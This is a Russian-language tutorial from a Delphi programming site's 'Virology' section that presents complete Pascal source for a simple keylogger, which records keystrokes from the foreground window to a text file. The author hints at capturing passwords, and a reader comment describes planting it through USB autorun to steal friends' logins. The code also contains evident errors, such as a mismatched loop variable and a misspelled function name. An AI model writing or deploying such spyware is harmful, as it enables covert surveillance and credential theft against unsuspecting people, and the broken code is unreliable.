Воскресенье, 22.12.2024, 06:22 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Вы счастливы?
Всего ответов: 224

Главная » Статьи » Delphi » Вирусология

Пишем простейший клавиатурный шпион

В данной статье рассмотрим простейший пример keylogger (клавиатурный шпион). Keylogger (кейлоггер) — (англ. key — клавиша и logger — регистрирующее устройство) — это программное обеспечение или аппаратное устройство, регистрирующее каждое нажатие клавиши на клавиатуре компьютера (http://ru.wikipedia.org/wiki/Keylogger). В нашем случае программа будет опрашивать состояние клавиш, затем сохранять их значение в файл. На изображении показан файл программы и её отчет (перехваченные данные), реализации автозагрузки, шифровки и отправки отчета на электронный почтовый ящик в этой статье не будет

Program KLogger;

Uses Windows;

const FlName='kbd_report.txt';

wait=50;

var wndh:Cardinal;

wndtxt:array[0..255]of char;

wndclass:array[0..255]of char;

cstr:string='';

num:integer;

function izex(path:pchar):boolean;{проверка наличия файла на диске}

begin Result:=true; if GetFileAttributes(path)=DWord(-1) then result:=false;

end;

function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}

begin Result:=(GetForegroundWindow()=wH);

end;

procedure writer(value:string);{запись значений нажатых клавиш на диск}

var F:TextFile;

i:integer;

begin

AssignFile(F,FLName);

if izex(FLName) then Append(F)

else

Rewrite(F);

for i:=1 to lemgth(value) do

write(F,value[i]);

CloseFile(F);

end;

BEGIN While true do

begin

wndh:=GetForegroundWindow();

while ontop(wndh) do begin For num:=8 to 90 do

begin if GetAsyncKeyState(i)=-$7FFF then if GetKeyState(i)<>0 then

cstr:=cstr+chr(i);

end;

end;

if cstr<>'' then writer(cstr); Sleep(wait); cstr:='';

end;

END.


Ну вот и всё, простейший кейлоггер готов, реализацию отлова русских и спец символов додумывайте сами. PS пароли и логины обычно состоят из английских букв, цифр и спец. символов.

Категория: Вирусология | Добавил: boombaza (24.02.2010) | Автор: Boombaza
Просмотров: 12457 | Комментарии: 4 | Рейтинг: 4.6/8

Всего комментариев: 4
avatar
4 NoFX • 10:57, 08.03.2012
А куда все символы будут сохраняться?И как их открыть7
avatar
3 kodecman • 18:41, 19.11.2011
С авторанчиком хорошо заметил
avatar
2 cool1 • 06:22, 16.07.2010
Можно на флэшке Autorun создать и пока юзерЬ сидит и скачивает данные с флэшки кей логер уже пашет! Если вы в гостях то некоторые не вынемают флэшку а заходят в нет и сидят а када уходишь забираешь флэшку (так можно стырить пароли знакомых)
avatar
1 Admin • 21:24, 06.05.2010
Хорошая статья !
avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1175/8162
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 385
За неделю: 2
Вчера: 0
Сегодня: 0
Всего онлайн: 11
Гостей: 11
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz